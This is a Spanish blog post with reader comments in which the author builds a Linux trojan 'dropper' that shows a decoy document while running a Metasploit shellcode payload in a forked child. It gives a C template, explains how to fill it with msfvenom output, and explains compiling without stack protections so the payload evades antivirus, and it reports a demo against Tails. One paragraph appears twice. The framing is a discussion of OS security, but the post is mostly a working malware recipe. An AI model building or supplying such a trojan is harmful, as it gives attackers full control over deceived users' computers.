En el artículo anterior de esta serie argumentamos las razones por las que la supuesta
vulnerabilidad de los sistemas Windows están basados más en sus
operadores que en el sistema operativo en sí. Sin embargo, es
difícil demostrar explícitamente este tipo de afirmaciones cuando
hay tan pocos incentivos para los desarrolladores de sistemas de
vulneración para desarrollar código ofensivo dirigido a atacar
Linux, por ejemplo. Con la idea de ir un poco en contra de esta
tendencia, decidí invertir una tarde para seleccionar alguna técnica
de vulneración en Windows y ejecutarla en Linux, demostrando así
que el hacking es igual de sencillo. No importa a quien se lo hagan.
La técnica ganadora fue la bien
conocida técnica del “executable dropper.” Los programas que se
utilizan para ejecutar esta técnica de ataque a veces son llamados
“joiners” o “binders.” Todos estos términos son técnicamente
incorrectos, sin embargo, la técnica es muy fácil de describir. La
idea es crear un ejecutable que parezca un archivo completamente
distinto y que pueda interesar a tu víctima. Una vez la víctima es
convencida de “abrir” este troyano, el contenido esperado es
mostrado, sin embargo, al mismo tiempo, el código malicioso es
ejecutado silenciosamente. Con éste último, el atacante obtiene
control total del equipo de su víctima sin que ésta tenga la más
mínima sospecha. Como ejemplo de este ataque en Windows, hace poco
ví un video bastante interesante:
Inspirados en este video, decidí
diseñar mi solución para Linux con los siguientes requerimientos:
- Creación automática del ejecutable troyano.
- La ejecución del troyano debe desplegar el archivo original y al mismo tiempo el payload requerido por el atacante.
- La selección de la aplicación que finalmente abre el contenido legítimo debe hacerse de forma automática (como sucede en Windows).
- El payload debe ser arbitrario y debe poder integrarse con Metasploit.
- La interacción requerida por el usuario no debe ser mayor a hacer un doble click sobre el troyano, de la misma forma que sucede en el caso de Windows.
- La solución debe ser lo suficientemente flexible para poder modificar el ejecutable resultante y poder evadir soluciones antivirus fácilmente.
Para el primer punto, la decisión es
muy fácil. Usando cualquier lenguaje de scripting, desde Kali linux
tenemos todas las herramientas que necesitamos para la creación del
binario final. Yo selecioné python, pero casi cualquier otro debe
ser igual de efectivo. Ahora bien, para el binario final, podemos
usar casi cualquier cosa también, sin embargo, yo decidí utilizar
un ejecutable en format ELF para hacerlo lo más equivalente al caso
de Windows. Es posible que selecciones de otros formatos tengan
resultados iguales o incluso mejores, como veremos más adelante.
Para el segundo punto, la solución
también es muy sencilla. El ejecutable simplemente debe hacer un
“fork()” y ejecutar en el proceso hijo, nuestro payload. Para ésto, utilizamos la bien conocida técnica de "cast to a function". Esto implica que debemos recordar compilar sin las contramedidas de stack no ejecutable, etc. Mientras
tanto, en el proceso padre, ejecutamos las instrucciones que sean
necesarias para desplegar el archivo original. El esqueleto de
nuestro programa en pseudo-C sería más o menos así:
#include <stdio.h>
#include <stdlib.h>
%s
unsigned char host[] = {%s};
unsigned char host_output[] = "/tmp/%s";
FILE * fp;
pid_t p;
int main(void){
fp = fopen(host_output, "w");
fwrite(host,1,sizeof(host),fp);
fclose(fp);
p = fork();
if (p == 0){
((void (*)()) buf)();
} else {
system("xdg-open /tmp/%s");
}
}
en donde tenemos que reemplazar esos %s
con los siguientes strings:
%
(payload,byte_array_with_original_data_file,host_file_name,host_file_name)
La variable “payload” es sencilla
de poblar, simplemente usamos el resultado de msfvenom con formato C
(opción -f c). La variable “byte_array_with_original_data_file”
no es más que la representación en bytes del archivo original, al
que queremos “troyanizar.” Finalmente, la variable
“host_file_name” no es más que el archivo original, que lo
usamos tanto para el nombre final de nuestro troyano, como para
obtener los bytes que estarán embebidos en nuestro ejecutable final.
Despues de armar este string con
python, lo único que hace falta es
compilarlo con las “flags” adecuadas y listo. Tenemos nuestro propio “binder” para Linux que sirve para cualquier tipo de archivo. Esto quiere decir que podemos “troyanizar” archivos .doc, .pdf, .mp3, .mp4, .xls, .odt, o cualquier otro que se nos ocurra - o que todavía no exista! (Back to the future). Por supuesto, hace falta darse cuenta de algunos detalles adicionales que son propios de la experiencia de campo, pero eso lo dejamos como ejercicio para el lector.
compilarlo con las “flags” adecuadas y listo. Tenemos nuestro propio “binder” para Linux que sirve para cualquier tipo de archivo. Esto quiere decir que podemos “troyanizar” archivos .doc, .pdf, .mp3, .mp4, .xls, .odt, o cualquier otro que se nos ocurra - o que todavía no exista! (Back to the future). Por supuesto, hace falta darse cuenta de algunos detalles adicionales que son propios de la experiencia de campo, pero eso lo dejamos como ejercicio para el lector.
El tercer requerimiento es cumplido
haciendo una simple llamada al sistema con el comando: “xdg-open.”
Este comando selecciona la aplicación que por defecto se encarga de
abrir aplicaciones de este tipo y simplemente la ejecuta. El uso de
este comando se puede ver en nuestro esqueleto de pseudo-C mostrado
más arriba.
El cuarto requerimiento es solucionado
muy fácilmente haciendo uso del formato de salida en C de msfvenom.
Despues de almacenar nuestro payload en la variable “buf”, sólo
queda hacer un cast a una función y ejecutarla. Ésto se
puede ver en nuestro primer %s (placeholder) de pseudo-C presentado
más arriba.
Finalmente, los últimos dos
requerimientos se ganan de forma gratuita al haber seleccionado
cuidadosamente las técnicas descritas anteriormente.
Decidimos probar como primera víctima
a Tails, la distribución de Linux enfocada a la privacidad de sus
usuarios. Sin embargo, la misma técnica funciona exactamente igual
en casi cualquier otra distribución de Linux. A continuación, un
video, que es mucho mejor que mil palabras.
PD: Si quieres ayudarme a probar mi
script “linux_dropper.py” en otras distribuciones no basadas en
gnome, escribeme aquí. Gracias! :D
Jajaja, y al final cerraste con lo de gnome :D eso es trampa :D
ResponderEliminarMás que vulnerabilidad, acá es evidente que la participación del "usuario" es importante, por lo que se requiere un esfuerzo adicional en ingeniería social para hacer que el capa 8 abra el archivo.
Ciertamente la "ventaja que te da Gnome o cualquier entorno de esos llamados "Bleeding Edge" para facilitar las cosas para el usuario, son también una guillotina en materia de seguridad. Al menos con LXDE me advierte que el pdf creado con el script es un _ejecutable_ y no un documento, ahora bien, meter ese payload dentro de un empaquetado como LAMP va a ser imposible que se detecte al momento de la instalación, pero un netstat puede ayudar :D
Probaré en KDE, pero presumo que será lo mismo, cada vez los entornos gráficos se convierten en la capa de invisibilidad de harry potter para transportar malware :D
Correcto y muy acertado comentario. Sin embargo, nótese que la elección del archivo carnada (en este caso pdf) es completamente arbitraria. linux_dropper.py puede embalar cualquier tipo de archivo, incluso los que todavía no existen. Ésto quiere decir que si convenzo a mi victima que le voy a enviar un ejecutable con la aplicación mas chévere que jamas haya visto, el mensaje de advertencia de LXDE no le va a ayudar de mucho. El troyano será un ejecutable que ella espera ejecutar. Lo que no sabe es lo que se está ejecutando en el proceso hijo. Esta técnica lo que ejemplifica es la vulnerabilidad de otorgar demasiada confianza a código que no ha escrito uno mismo. Si pensamos un poco al respecto, ésta es una vulnerabilidad completamente agnostica al Sistema Operativo utilizado, y mucho más peligrosa y presente de lo que muchos sospechan :D
ResponderEliminarExacto, el lo que escribí en el primer párrafo.
ResponderEliminar[Cita]
Más que vulnerabilidad, acá es evidente que la participación del "usuario" es importante, por lo que se requiere un esfuerzo adicional en ingeniería social para hacer que el capa 8 abra el archivo.
[/Cita]
Si te das cuenta, entiendo el punto donde indicas que no importa la extensión, en eso tienes razón, pero está siempre el aditamento especial (El Usuario) para que esto funcione. Por eso di mi ejemplo de un empaquetado como LAMP, que si uno lo descarga de un sitio no confiable, como esos portales de descargas de software, entonces la probabilidad de que te inyecten ese payload es casi que de 99.9999999% :-) y no hace falta que te convenzan de instalarlo :D el usuariuo mismo lo buscó en internet y se lo descargó e instaló, entonces - Pwnd by him self - :D
Buen comentario. Sin embargo, si pensamos bien estríctamente, todas las vulnerabilidades requieren un "esfuerzo adicional del 'usuario'." Por ejemplo, para explotar la vulnerabilidad de SSH de debian de hace varios años, acaso no hacia falta que el usuario instale debian y activara el servicio SSH? O para aprovechar las vulnerabilidades de apache, nginx, etc, acaso no necesitan del "usuario" (en este caso el admin) que instale estos servicios y los publique? Aunque distintos grados de participación, siempre el factor humano está involucrado. Adicionalmente, al menos en el corto plazo, nada de ésto va a cambiar :-)
ResponderEliminarHola, he seguido los pasos y parece que se ha instalado sin problemas, lo que pasa en que soy nuevo en linux y no controlo aun bien, el caso es que no sé por qué no me aparece en la lista de programas, aunque me dice que se está ejecutando el key LiGNUx pero no se ando un pelo nervioso.
ResponderEliminar